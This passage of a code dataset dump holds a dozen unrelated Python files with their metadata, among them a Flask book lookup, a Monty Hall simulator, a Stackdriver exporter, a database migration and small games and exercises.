Time/Retired | Grid | Points\n1 | 32 | Patrick Carpentier | Team Player's | 87 | 1:48:11.023 | 1 | 22 \n2 | 1 | Bruno Junqueira | Newman/Haas Racing | 87 | +0.8 secs | 2 | 17 \n3 | 3 | Paul Tracy | Team Player's | 87 | +28.6 secs | 3 | 14\n4 | 9 | Michel Jourdain, Jr. | Team Rahal | 87 | +40.8 secs | 13 | 12\n5 | 34 | Mario Haberfeld | Mi-Jack Conquest Racing | 87 | +42.1 secs | 6 | 10\n6 | 20 | Oriol Servia | Patrick Racing | 87 | +1:00.2 | 10 | 8 \n7 | 51 | Adrian Fernandez | Fernandez Racing | 87 | +1:01.4 | 5 | 6\n8 | 12 | Jimmy Vasser | American Spirit Team Johansson | 87 | +1:01.8 | 8 | 5\n9 | 7 | Tiago Monteiro | Fittipaldi-Dingman Racing | 86 | + 1 Lap | 15 | 4\n10 | 55 | Mario Dominguez | Herdez Competition | 86 | + 1 Lap | 11 | 3\n11 | 27 | Bryan Herta | PK Racing | 86 | + 1 Lap | 12 | 2\n12 | 31 | Ryan Hunter-Reay | American Spirit Team Johansson | 86 | + 1 Lap | 17 | 1\n13 | 19 | Joel Camathias | Dale Coyne Racing | 85 | + 2 Laps | 18 | 0\n14 | 33 | Alex Tagliani | Rocketsports Racing | 85 | + 2 Laps | 14 | 0\n15 | 4 | Roberto Moreno | Herdez Competition | 85 | + 2 Laps | 9 | 0\n16 | 11 | Geoff Boss | Dale Coyne Racing | 83 | Mechanical | 19 | 0\n17 | 2 | Sebastien Bourdais | Newman/Haas Racing | 77 | Mechanical | 4 | 0\n18 | 15 | Darren Manning | Walker Racing | 12 | Mechanical | 7 | 0\n19 | 5 | Rodolfo Lavin | Walker Racing | 10 | Mechanical | 16 | 0\n\"\"\", [\"what were the team names?\",\n \"of these, which points did Mario Haberfeld and Oriol Servia score?\",\n \"who scored 2?\"])\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"286104586","text":"from spider.download_course_w3school import DownloadW3School\nurl=\"https://www.w3school.com.cn/html/index.asp\"\nspider=DownloadW3School(url)\n# print(spider.is_in_limit(\"https://www.w3school.com.cn/html/html_comments.asp\"))\n# print(spider.is_in_limit(\"https://www.w3school.com.cn/tags/index.asp\"))\nspider.get_catlog()\n# content=spider.get_page_content(\"https://www.w3school.com.cn/html/html_jianjie.asp\")\n# print(content)\nprint(spider.catlogDictList)\ncatlogList=spider.catlogDictList\nfor category in catlogList:\n print(category)\n for categoryName, urlTupleList in category.items():\n print(categoryName)\n for title, url in urlTupleList:\n print(title,url)\n\nspider.start_download()\n#5df779c098f10fedd651be64","sub_path":"test/spider/test_w3school.py","file_name":"test_w3school.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"571351628","text":"import numpy as np\nfrom math import *\n\n\n# Partitional Clustering\nX = [(0, 5), (1, 3), (2, 4), (6, 2), (7, 0), (8, 3), (9, 1)]\ndist = lambda x, y: sqrt((x[0] - y[0])**2 + (x[1] - y[1])**2)\n\ndef median(xs):\n xs = np.array(xs)\n n = xs.shape[0]\n if n % 2:\n return tuple(xs[n // 2, :])\n else:\n return tuple((xs[n // 2 - 1, :] + xs[n // 2, :]) / 2)\n\n\nm = [(4, 2), (11, 3)]\n\nn = 5\nfor i in range(n):\n clusters = [[] for _ in range(len(m))]\n for j, x in enumerate(X):\n dm = [dist(mx, x) for mx in m]\n \n if dm[0] < dm[1]:\n bold1, bold2 = r'\\textbf', ''\n c = 0\n else:\n bold1, bold2 = '', r'\\textbf'\n c = 1\n\n clusters[c].append(x)\n print(f'\\item $p_{j+1}$ {bold1}{{distance to {m[0]}: {dm[0]:.3f}}}; {bold2}{{distance to {m[1]}: {dm[1]:.6f}}}')\n\n changed = False\n for c, cl in enumerate(clusters):\n print(f'$C_{c}$ points: \\{{{\", \".join(map(str, cl))}\\}}')\n # med = tuple([median(x) for x in cl])\n med = median(cl)\n print(f'$C_{c}$ median: {med}')\n if med != m[c]:\n changed = True\n m[c] = med\n\n if not changed:\n print(\"No medians changed.\")\n print(\"Algorithm finished after\", i, \"iterations.\")\n print(\"Medians:\")\n print(m)\n break\n\n print()","sub_path":"comp4211/problem-set/q6.py","file_name":"q6.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"301775324","text":"import numpy as np\nfrom check_data_compatibility import *\n\nclass ChiSquare:\n\n\t\"\"\"\n\tThis is a class of evaluating the chi-square kernel function.\n\n\tAttributes\n\t----------\n\tdata : numpy.ndarray\n\t\tThe array at which the chi-square kernel function is to evaluated.\n\tN, d : int, int\n\t\tThe shape of data array.\n\n\tMethods\n\t-------\n\tkernel_matrix(new_data)\n\t\tEvaluates the chi-square kernel function at new_data.\n\n\tkernel_single_eval(new_data)\n\t\tEvaluates the chi-square kernel function at new_data involving double `for` loops;\n\t\tless efficient than self.kernel_matrix.\n\t\n\tReference\n\t---------\n\tVedaldi, Andrea, and Andrew Zisserman. 2012. “Efficient Additive Kernels via Explicit Feature Maps.”\n\t\tIEEE Transactions on Pattern Analysis and Machine Intelligence 34 (3): 480–92.\n\n\t\"\"\"\n\t\n\tdef __init__(self, data):\n\t\t\n\t\t\"\"\"\n\t\tParameters\n\t\t----------\n\t\tdata : numpy.ndarray\n\t\t\tThe array at which the chi-square kernel function is to evaluated.\n\t\t\n\t\t\"\"\"\n\t\t\n\t\tif not isinstance(data, np.ndarray):\n\t\t\tdata = np.array(data)\n\t\t\n\t\tif len(data.shape) == 1:\n\t\t\tdata = data.reshape(-1, 1)\n\t\t\n\t\tself.data = data\n\t\tself.N, self.d = self.data.shape\n\t\n\tdef kernel_matrix(self, new_data):\n\t\t\n\t\t\"\"\"\n\t\tEvaluates the chi-square kernel function at new_data.\n\t\tEach entry is k(X_i, Y_j), where X_i corresponds to the i-th row of data,\n\t\tY_j corresponds to the j-th row of new_data.\n\n\t\tParameters\n\t\t----------\n\t\tnew_data : numpy.ndarray\n\t\t\tThe array at which the chi-square kernel function is to evaluated.\n\n\t\tReturns\n\t\t-------\n\t\tnumpy.ndarray\n\t\t\tThe array of chi-square kernel function evaluations.\n\n\t\t\"\"\"\n\t\t\n\t\tif not isinstance(new_data, np.ndarray):\n\t\t\tnew_data = np.array(new_data)\n\t\t\n\t\tif len(new_data.shape) == 1:\n\t\t\tnew_data = new_data.reshape(-1, 1)\n\t\t\n\t\tn, d1 = new_data.shape\n\t\t\n\t\tcheck_data_compatibility(self.data, new_data)\n\t\t\n\t\ttiled_data = np.tile(new_data, self.N).reshape(1, -1)\n\t\ttiled_land = np.tile(self.data.reshape(1, -1), n)\n\t\t\n\t\tprod1 = tiled_data * tiled_land\n\t\tsum1 = tiled_data + tiled_land\n\t\t\n\t\tpower = 2. * np.sum(np.vstack(np.split(prod1 / sum1, self.N * n, axis=1)), axis=1)\n\t\toutput = power.reshape(n, self.N)\n\t\t\n\t\treturn output.T\n\t\n\tdef kernel_single_eval(self, new_data):\n\t\t\n\t\t\"\"\"\n\t\tEvaluates the chi-square kernel function at new_data involving double `for` loops.\n\t\tThis approach is less efficient comparing to self.kernel_matrix.\n\t\tEach entry is k(X_i, Y_j), where X_i corresponds to the i-th row of data,\n\t\tY_j corresponds to the j-th row of new_data.\n\n\t\tParameters\n\t\t----------\n\t\tnew_data : numpy.ndarray\n\t\t\tThe array at which the chi-square kernel function is to evaluated.\n\n\t\tReturns\n\t\t-------\n\t\tnumpy.ndarray\n\t\t\tThe array of chi-square kernel function evaluations.\n\n\t\t\"\"\"\n\t\t\n\t\tif not isinstance(new_data, np.ndarray):\n\t\t\tnew_data = np.array(new_data)\n\t\t\n\t\tif len(new_data.shape) == 1:\n\t\t\tnew_data = new_data.reshape(-1, 1)\n\t\t\t\n\t\tn, d1 = new_data.shape\n\t\t\n\t\tcheck_data_compatibility(self.data, new_data)\n\t\t\n\t\toutput = np.zeros((self.N, n), dtype=np.float64)\n\t\t\n\t\tfor i in range(self.N):\n\t\t\tfor j in range(n):\n\t\t\t\ts = 0\n\t\t\t\tfor k in range(self.d):\n\t\t\t\t\ts += 2. * self.data[i][k] * new_data[j][k] / (self.data[i][k] + new_data[j][k])\n\t\t\t\t\n\t\t\t\toutput[i][j] = s\n\t\t\t\t\n\t\treturn output\n\n\nif __name__ == '__main__':\n\t\n\tdata1 = np.random.randn(500 * 3).reshape(500, 3)\n\tnew_data1 = np.random.randn(1000 * 3).reshape(1000, 3)\n\tkernel = ChiSquare(data1)\n\tk1 = kernel.kernel_matrix(new_data1)\n\tk2 = kernel.kernel_single_eval(new_data1)\n\tprint(np.allclose(k1, k2))\n\t\n\tdata2 = np.random.randn(500)\n\tnew_data2 = np.random.randn(1000)\n\tkernel = ChiSquare(data2)\n\tk3 = kernel.kernel_matrix(new_data2)\n\tk4 = kernel.kernel_single_eval(new_data2)\n\tprint(np.allclose(k3, k4))\n","sub_path":"chisq.py","file_name":"chisq.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"26442930","text":"import win32gui\r\nPIXEL_SIZE = 16 # ,每个格子像素大小\r\nHIGH_LEVEL = 3 # 三个等级\r\nMIDDLE_LEVEL = 2\r\nPRIMARY_LEVEL = 1\r\n\r\n\r\ndef get_rim(hwnd):\r\n # 获得出去边框之外的界面的长宽位置\r\n left, top, right, bottom = win32gui.GetWindowRect(hwnd) # 窗口大小\r\n left = left + 15\r\n right = right - 11\r\n bottom = bottom - 11\r\n top = bottom - PIXEL_SIZE * get_window_height_and_length(hwnd)[0]\r\n assert (right - left) / PIXEL_SIZE == get_window_height_and_length(hwnd)[1] # 长度length\r\n assert (bottom - top) / PIXEL_SIZE == get_window_height_and_length(hwnd)[0] # 高度height\r\n return left, top, right, bottom\r\n\r\n\r\ndef get_ranking_level(hwnd):\r\n # 根据长宽尺寸判断高级,中级,低级\r\n left, top, right, bottom = win32gui.GetWindowRect(hwnd) # 窗口大小\r\n left = left + 15\r\n right = right - 11\r\n length = (right - left) / PIXEL_SIZE\r\n if length == 30:\r\n return HIGH_LEVEL # 高级\r\n elif length == 16:\r\n return MIDDLE_LEVEL\r\n elif length == 9:\r\n return PRIMARY_LEVEL\r\n else:\r\n print(\"根据尺寸计算扫雷等级错误\")\r\n\r\n\r\ndef get_window_height_and_length(hwnd):\r\n # 根据等级返回长宽格子数目\r\n ranking_level = get_ranking_level(hwnd)\r\n if ranking_level == HIGH_LEVEL:\r\n return 16, 30\r\n elif ranking_level == MIDDLE_LEVEL:\r\n return 16, 16\r\n else:\r\n return 9, 9\r\n\r\n\r\ndef get_max_mines(hwnd):\r\n # 根据等级得到雷数目\r\n ranking_level = get_ranking_level(hwnd)\r\n if ranking_level == HIGH_LEVEL:\r\n return 99\r\n elif ranking_level == MIDDLE_LEVEL:\r\n return 40\r\n else:\r\n return 10\r\n","sub_path":"get_window.py","file_name":"get_window.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"365485443","text":"# Copyright 2019 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\n`stackdriver.py`\nStackdriver Monitoring exporter class.\n\"\"\"\nimport logging\nimport google.api_core.exceptions\nfrom google.cloud import monitoring_v3\n\nLOGGER = logging.getLogger(__name__)\nDEFAULT_METRIC_TYPE = \"custom.googleapis.com/error_budget_burn_rate\"\nDEFAULT_METRIC_DESCRIPTION = (\"Speed at which the error budget for a given\"\n \"aggregation window is consumed\")\n\n\nclass StackdriverExporter:\n \"\"\"Stackdriver Monitoring exporter class.\"\"\"\n\n def __init__(self):\n self.client = monitoring_v3.MetricServiceClient()\n\n def export(self, data, **config):\n \"\"\"Export data to Stackdriver Monitoring.\n\n Args:\n data (dict): Data to send to Stackdriver Monitoring.\n config (dict): Stackdriver Monitoring metric config.\n project_id (str): Stackdriver host project id.\n custom_metric_type (str): Custom metric type.\n custom_metric_unit (str): Custom metric unit.\n\n Returns:\n object: Stackdriver Monitoring API result.\n \"\"\"\n if not self.get_metric_descriptor(**config):\n self.create_metric_descriptor(**config)\n self.create_timeseries(data, **config)\n\n def create_timeseries(self, data, **config):\n \"\"\"Create Stackdriver Monitoring timeseries.\n\n Args:\n data (dict): Data to send to Stackdriver Monitoring.\n config (dict): Metric config.\n\n Returns:\n object: Metric descriptor.\n \"\"\"\n series = monitoring_v3.types.TimeSeries()\n series.metric.type = config.get('metric_type', DEFAULT_METRIC_TYPE)\n\n # Write timeseries metric labels.\n series.metric.labels['error_budget_policy_step_name'] = str(\n data['error_budget_policy_step_name'])\n series.metric.labels['window'] = str(data['window'])\n series.metric.labels['service_name'] = data['service_name']\n series.metric.labels['feature_name'] = data['feature_name']\n series.metric.labels['slo_name'] = data['slo_name']\n series.metric.labels['alerting_burn_rate_threshold'] = str(\n data['alerting_burn_rate_threshold'])\n\n # Use the generic resource 'global'.\n series.resource.type = 'global'\n series.resource.labels['project_id'] = config['project_id']\n\n # Create a new data point.\n point = series.points.add()\n\n # Define end point timestamp.\n timestamp = data['timestamp']\n point.interval.end_time.seconds = int(timestamp)\n point.interval.end_time.nanos = int(\n (timestamp - point.interval.end_time.seconds) * 10**9)\n\n # Set the metric value.\n point.value.double_value = data['error_budget_burn_rate']\n\n # Record the timeseries to Stackdriver Monitoring.\n project = self.client.project_path(config['project_id'])\n result = self.client.create_time_series(project, [series])\n labels = series.metric.labels\n LOGGER.debug(\n f\"timestamp: {timestamp} burnrate: {point.value.double_value}\"\n f\"{labels['service_name']}-{labels['feature_name']}-\"\n f\"{labels['slo_name']}-{labels['error_budget_policy_step_name']}\")\n return result\n\n def get_metric_descriptor(self, **config):\n \"\"\"Get Stackdriver Monitoring metric descriptor.\n\n Args:\n config (dict): Metric config.\n\n Returns:\n object: Metric descriptor (or None if not found).\n \"\"\"\n name = config.get('metric_type', DEFAULT_METRIC_TYPE)\n descriptor = self.client.metric_descriptor_path(config['project_id'],\n name)\n try:\n return self.client.get_metric_descriptor(descriptor)\n except google.api_core.exceptions.NotFound:\n return None\n\n def create_metric_descriptor(self, **config):\n \"\"\"Create Stackdriver Monitoring metric descriptor.\n\n Args:\n config (dict): Metric config.\n\n Returns:\n object: Metric descriptor.\n \"\"\"\n project = self.client.project_path(config['project_id'])\n descriptor = monitoring_v3.types.MetricDescriptor()\n descriptor.type = config.get('metric_type', DEFAULT_METRIC_TYPE)\n descriptor.metric_kind = (\n monitoring_v3.enums.MetricDescriptor.MetricKind.GAUGE)\n descriptor.value_type = (\n monitoring_v3.enums.MetricDescriptor.ValueType.DOUBLE)\n descriptor.description = config.get('metric_description',\n DEFAULT_METRIC_DESCRIPTION)\n self.client.create_metric_descriptor(project, descriptor)\n return descriptor\n","sub_path":"tools/slo-generator/slo_generator/exporters/stackdriver.py","file_name":"stackdriver.py","file_ext":"py","file_size_in_byte":5301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"232145473","text":"\"\"\"\n forms for event application\n\"\"\"\nfrom django import forms\nfrom django.contrib.auth.models import User\n\nfrom project_management.notifications.models import Event\n\nDATE_INPUT_FORMAT = '%m-%d-%Y'\nDATE_FIELD_ATTR = {'class': 'vDateField'}\n\n\nclass EventForm(forms.ModelForm):\n\n date = forms.DateField(\n input_formats=[DATE_INPUT_FORMAT],\n required=False,\n widget=forms.TextInput(\n attrs=DATE_FIELD_ATTR))\n\n def save(self, user, commit=True):\n \"\"\"\n Overriden save method to include creator and attendees in event\n \"\"\"\n event = super(EventForm, self).save(commit=False)\n event.creator = user\n if commit:\n event.save()\n for user in self.cleaned_data['attendees']:\n event.attendees.add(user)\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Overriden init method to filter only active users\n \"\"\"\n super(self.__class__, self).__init__(*args, **kwargs)\n self.fields['attendees'].queryset = User.objects.filter(\n is_active=True, is_staff=False).order_by('username')\n\n class Meta:\n model = Event\n fields = ('name', 'date', 'start_time', 'end_time', 'venue',\n 'location', 'project', 'type', 'attendees', 'description')\n","sub_path":"project_management/notifications/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"601650469","text":"from flask import Flask, render_template, abort\nfrom xml import etree\napp = Flask (__name__)\n\n@app.route('/')\ndef inicio():\n return render_template(\"inicio.html\")\n\n@app.route('/potencia//')\ndef potencia(base,exponente):\n try:\n base=int(base)\n exponente=int(exponente)\n except:\n abort(404)\n if exponente > 0:\n resultado = base**exponente\n elif exponente == 0:\n resultado = 1\n elif exponente < 0:\n resultado = 1/(base**abs(exponente))\n return render_template(\"potencia.html\",ba=base,ex=exponente,res=resultado)\n\n@app.route('/cuenta//')\ndef contar(cad1,cad2):\n if len(cad2) == 1:\n aparece = cad1.count(cad2)\n else:\n abort(404)\n return render_template(\"contar.html\",palabra=cad1,letra=cad2,apariciones=aparece)\n\n@app.route('/libro/')\ndef buscar(codigo):\n doc = etree.parse('libros.xml')\n if str(codigo) in doc.xpath(\"/biblioteca/libro/codigo/text()\"):\n titulo=doc.xpath(\"/biblioteca/libro[codigo/text()='%s']/titulo/text()\"%codigo)[0]\n autor=doc.xpath(\"/biblioteca/libro[codigo/text()='%s']/autor/text()\"%codigo)[0]\n else:\n abort(404)\n return render_template(\"buscar.html\",titulo=titulo,autor=autor)\n\napp.run(debug=True)\n","sub_path":"proyectoflask.py","file_name":"proyectoflask.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"322436534","text":"# Isaac Yep\n# Monty Hall simulator\n\nimport random\n\ntrial_iterations = int(input(\"How many trials would you like to simulate? (positive number) \"))\n\n\n# Dont swap doors\nno_swap_win, no_swap_tot = 0, 0\n\nfor i in range(1,trial_iterations):\n\tno_swap_target, no_swap_guess = random.randint(1,3), random.randint(1,3)\n\tif no_swap_target == no_swap_guess:\n\t\tno_swap_win += 1\n\tno_swap_tot += 1\n\nno_swap_prob = no_swap_win/no_swap_tot\n\n\n# Swap doors\nswap_win, swap_tot = 0, 0\n\nfor i in range(1,trial_iterations):\n\tswap_target, first_guess = random.randint(1,3), random.randint(1,3)\n\tif first_guess != swap_target:\n\t\tswap_win += 1\n\tswap_tot += 1\n\nswap_prob = swap_win/swap_tot\n\n\n# Print results\nprint(\"Trials simulated: \t {}\".format(trial_iterations))\nprint(\"Probability of swapping: {}%\".format(swap_prob*100))\nprint(\"Probability of not swapping: {}%\".format(no_swap_prob*100))\n","sub_path":"Main_Arch/in_class_CS199_1/montyHall.py","file_name":"montyHall.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"79333683","text":"class acmp4(object):\n def game():\n while True:\n usernum = int(input(\"enter number \\n\"))\n if usernum < 10 and usernum > 0:\n break\n print(\"Wrong Number\")\n\n result = 9 - usernum\n print((usernum * 100) + 90 + result)","sub_path":"PythonLearning/acmp4.py","file_name":"acmp4.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"346428009","text":"# Copyright (C) 2016 Google Inc.\n# Licensed under http://www.apache.org/licenses/LICENSE-2.0 \n\n\"\"\"\nMigrate audits for snapshots\n\nCreate Date: 2016-11-17 11:49:04.547216\n\"\"\"\n# disable Invalid constant name pylint warning for mandatory Alembic variables.\n# pylint: disable=invalid-name\n\nfrom logging import getLogger\n\nfrom alembic import op\n\nfrom sqlalchemy.sql import column\nfrom sqlalchemy.sql import select\nfrom sqlalchemy.sql import table\nfrom sqlalchemy.sql import tuple_\n\nfrom ggrc.models.event import Event\nfrom ggrc.models.revision import Revision\nfrom ggrc.models.snapshot import Snapshot\nfrom ggrc.models.assessment import Assessment\nfrom ggrc.models.issue import Issue\n\nfrom ggrc.migrations.utils import get_relationship_cache\nfrom ggrc.migrations.utils import get_revisions\nfrom ggrc.migrations.utils import insert_payloads\nfrom ggrc.migrations.utils import Stub\nfrom ggrc.migrations.utils.validation import (\n validate_assessment_issue_to_audit_relationships)\n\nfrom ggrc.migrations.utils.migrator import get_migration_user_id\n\nfrom ggrc.snapshotter.rules import Types\n\n\nlogger = getLogger(__name__) # pylint: disable=invalid-name\n\n\n# revision identifiers, used by Alembic.\nrevision = '142272c4a0b6'\ndown_revision = '579239d161e1'\n\nevents_table = Event.__table__\nsnapshots_table = Snapshot.__table__\nrevisions_table = Revision.__table__\n\nassessments_table = Assessment.__table__\nissues_table = Issue.__table__\n\naudits_table = table(\n \"audits\",\n column(\"id\"),\n column(\"context_id\"),\n column(\"program_id\"),\n)\n\nprograms_table = table(\n \"programs\",\n column(\"id\"),\n column(\"context_id\")\n)\n\n\ndef create_snapshots(connection, user_id, caches, audits):\n \"\"\"Create snapshots and relationships to programs\"\"\"\n # pylint: disable=too-many-locals\n relationships_payload = []\n snapshots_payload = []\n snapshot_quads = set()\n\n program_relationships = caches[\"program_rels\"]\n audit_relationships = caches[\"audit_rels\"]\n program_contexts = caches[\"program_contexts\"]\n revisions_cache = caches[\"revisions\"]\n\n for audit in audits:\n parent_key = Stub(\"Audit\", audit.id)\n program_key = Stub(\"Program\", audit.program_id)\n audit_scope_objects = audit_relationships[parent_key]\n program_scope_objects = program_relationships[program_key]\n missing_in_program_scope = audit_scope_objects - program_scope_objects\n\n if missing_in_program_scope:\n for obj_ in missing_in_program_scope:\n if obj_ in revisions_cache:\n relationships_payload += [{\n \"source_type\": \"Program\",\n \"source_id\": audit.program_id,\n \"destination_type\": obj_.type,\n \"destination_id\": obj_.id,\n \"modified_by_id\": user_id,\n \"context_id\": program_contexts[audit.program_id],\n }]\n\n if audit_scope_objects:\n for obj_ in audit_scope_objects:\n if obj_ in revisions_cache:\n quad = (\"Audit\", audit.id, obj_.type, obj_.id)\n snapshot_quads.add(quad)\n snapshots_payload += [{\n \"parent_type\": \"Audit\",\n \"parent_id\": audit.id,\n \"child_type\": obj_.type,\n \"child_id\": obj_.id,\n \"revision_id\": revisions_cache[obj_],\n \"context_id\": audit.context_id,\n \"modified_by_id\": user_id,\n }]\n # this is because of our hack where we rely on relationships\n # to actually show objects\n relationships_payload += [{\n \"source_type\": \"Audit\",\n \"source_id\": audit.id,\n \"destination_type\": obj_.type,\n \"destination_id\": obj_.id,\n \"modified_by_id\": user_id,\n \"context_id\": audit.context_id,\n }]\n else:\n logger.warning(\n \"Missing revision for object %s-%s\", obj_.type, obj_.id)\n\n insert_payloads(connection, snapshots_payload, relationships_payload)\n return snapshot_quads\n\n\ndef process_audits(connection, user_id, caches, audits):\n \"\"\"Process audits\"\"\"\n snapshot_quads = create_snapshots(connection, user_id, caches, audits)\n\n relationships_payload = []\n if snapshot_quads:\n snapshots = connection.execute(select([snapshots_table]).where(\n tuple_(\n Snapshot.parent_type,\n Snapshot.parent_id,\n Snapshot.child_type,\n Snapshot.child_id,\n ).in_(snapshot_quads)\n )).fetchall()\n snapshot_cache = {\n (obj_.parent_type, obj_.parent_id,\n obj_.child_type, obj_.child_id): (obj_.id, obj_.context_id)\n for obj_ in snapshots\n }\n for snapshot in snapshot_quads:\n relationships_payload += [{\n \"source_type\": snapshot[2],\n \"source_id\": snapshot[3],\n \"destination_type\": \"Snapshot\",\n \"destination_id\": snapshot_cache[snapshot][0],\n \"modified_by_id\": user_id,\n \"context_id\": snapshot_cache[snapshot][1],\n }]\n\n insert_payloads(connection, relationships=relationships_payload)\n\n\ndef upgrade():\n \"\"\"Migrate audit-related data and concepts to audit snapshots\"\"\"\n # pylint: disable=too-many-locals\n\n connection = op.get_bind()\n\n audits_more, ghost_objects = (\n validate_assessment_issue_to_audit_relationships(connection))\n\n if audits_more or ghost_objects:\n if audits_more:\n for klass_name, ids in audits_more.items():\n logger.warning(\n \"The following %s have more than one Audit: %s\",\n klass_name,\n \",\".join(map(str, ids)) # pylint: disable=bad-builtin\n )\n if ghost_objects:\n for klass_name, ids in ghost_objects.items():\n logger.warning(\n \"The following %s have no Audits mapped to them: %s\",\n klass_name,\n \",\".join(map(str, ids)) # pylint: disable=bad-builtin\n )\n raise Exception(\"Cannot perform migration. Check logger warnings.\")\n\n audits = connection.execute(audits_table.select()).fetchall()\n if audits:\n program_ids = {audit.program_id for audit in audits}\n\n program_sql = select([programs_table]).where(\n programs_table.c.id.in_(program_ids)\n )\n programs = connection.execute(program_sql)\n program_contexts = {program.id: program.context_id for program in programs}\n\n program_relationships = get_relationship_cache(\n connection, \"Program\", Types.all)\n audit_relationships = get_relationship_cache(\n connection, \"Audit\", Types.all)\n\n all_objects = (program_relationships.values() +\n audit_relationships.values())\n revisionable_objects = set()\n revisionable_objects = revisionable_objects.union(*all_objects)\n revision_cache = get_revisions(connection, revisionable_objects)\n\n objects_missing_revision = (revisionable_objects -\n set(revision_cache.keys()))\n if objects_missing_revision:\n missing = \",\".join(\n [\"{obj.type}-{obj.id}\".format(obj=obj)\n for obj in objects_missing_revision])\n logger.warning(\n \"Phantom objects mapped to program or audit: %s\", missing)\n\n caches = {\n \"program_contexts\": program_contexts,\n \"program_rels\": program_relationships,\n \"audit_rels\": audit_relationships,\n \"revisions\": revision_cache\n }\n\n user_id = get_migration_user_id(connection)\n\n process_audits(connection, user_id, caches, audits)\n\n\ndef downgrade():\n pass\n","sub_path":"src/ggrc/migrations/versions/20161117114904_142272c4a0b6_migrate_audits_for_snapshots.py","file_name":"20161117114904_142272c4a0b6_migrate_audits_for_snapshots.py","file_ext":"py","file_size_in_byte":7394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"595407911","text":"import arcade\n\nWINDOW_WIDTH = 500\nWINDOW_HEIGHT = 500\nBACKGROUND_COLOR = arcade.color.ANTIQUE_WHITE\nGAME_TITLE = \"Ada or Potato?\"\n\nTIMER_MAXIMUM = 6\n\nIMAGE_ADA = arcade.load_texture(\"images/ada.png\")\nIMAGE_POTATO = arcade.load_texture(\"images/potato.png\", scale=.21)\n\n\nclass Ada(arcade.Sprite):\n timer: int\n\n def __init__(self):\n super().__init__()\n self.timer = 0\n self.center_x = WINDOW_WIDTH/2\n self.center_y = WINDOW_HEIGHT/2\n self.texture = IMAGE_ADA\n\n def update_timer(self):\n if self.timer < TIMER_MAXIMUM:\n self.timer += 1\n else:\n self.timer = 0\n self.switch_image()\n\n def update(self):\n self.update_timer()\n\n def switch_image(self):\n if self.texture == IMAGE_ADA:\n self.texture = IMAGE_POTATO\n else:\n self.texture = IMAGE_ADA\n\n\nclass AdaGame(arcade.Window):\n\n def __init__(self):\n super().__init__(WINDOW_WIDTH, WINDOW_HEIGHT, GAME_TITLE)\n self.points = 0\n self.status = Ada()\n\n def setup(self):\n arcade.set_background_color(BACKGROUND_COLOR)\n\n def on_draw(self):\n \"\"\" Called when it is time to draw the world \"\"\"\n arcade.start_render()\n self.status.draw()\n output = f\"Score: {self.points}\"\n arcade.draw_rectangle_outline(35, 55, 60.0, 45.0, arcade.color.BLACK)\n arcade.draw_text(output, 10, 50, arcade.color.BLACK, 13)\n\n def on_update(self, delta_time):\n self.status.update()\n\n def on_mouse_press(self, x: float, y: float, button: int, modifiers: int):\n if self.status.texture == IMAGE_ADA:\n self.points += 1\n else:\n self.points -= 1\n\ndef main():\n window = AdaGame()\n window.setup()\n arcade.run()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"game1_ada_or_potato.py","file_name":"game1_ada_or_potato.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"116285330","text":"from gensim.models import KeyedVectors\nimport sys\n\ndef addsub(word1, word2, word3):\n wv = KeyedVectors.load_word2vec_format('./wiki.vec.pt', binary=True)\n new_vec = wv[word1] - wv[word2] + wv[word3]\n results = wv.most_similar(positive=[new_vec])\n for result in results:\n print(result)\n\nif __name__ == \"__main__\":\n args = sys.argv\n word1 = str(args[1])\n word2 = str(args[2])\n word3 = str(args[3])\n\n addsub(word1, word2, word3)\n","sub_path":"word2vec/addsub3.py","file_name":"addsub3.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"466025855","text":"# -*- coding: utf-8 -*-\n##############################################################################\n# #\n# Author Alan David Martínez. Copyright Alan David Martínez - #\n# alan.david507@gmail.com #\n# This program is free software: you can redistribute it and/or modify #\n# it under the terms of the GNU General Public License as published by #\n# the Free Software Foundation, either version 3 of the License, or #\n# (at your option) any later version. #\n# #\n# This program is distributed in the hope that it will be useful, #\n# but WITHOUT ANY WARRANTY; without even the implied warranty of #\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #\n# GNU General Public License for more details. #\n# #\n# You should have received a copy of the GNU General Public License #\n# along with this program. If not, see . #\n# #\n##############################################################################\n\nfrom openerp import models, fields, api\n\n\nclass account_invoice(models.Model):\n _inherit = 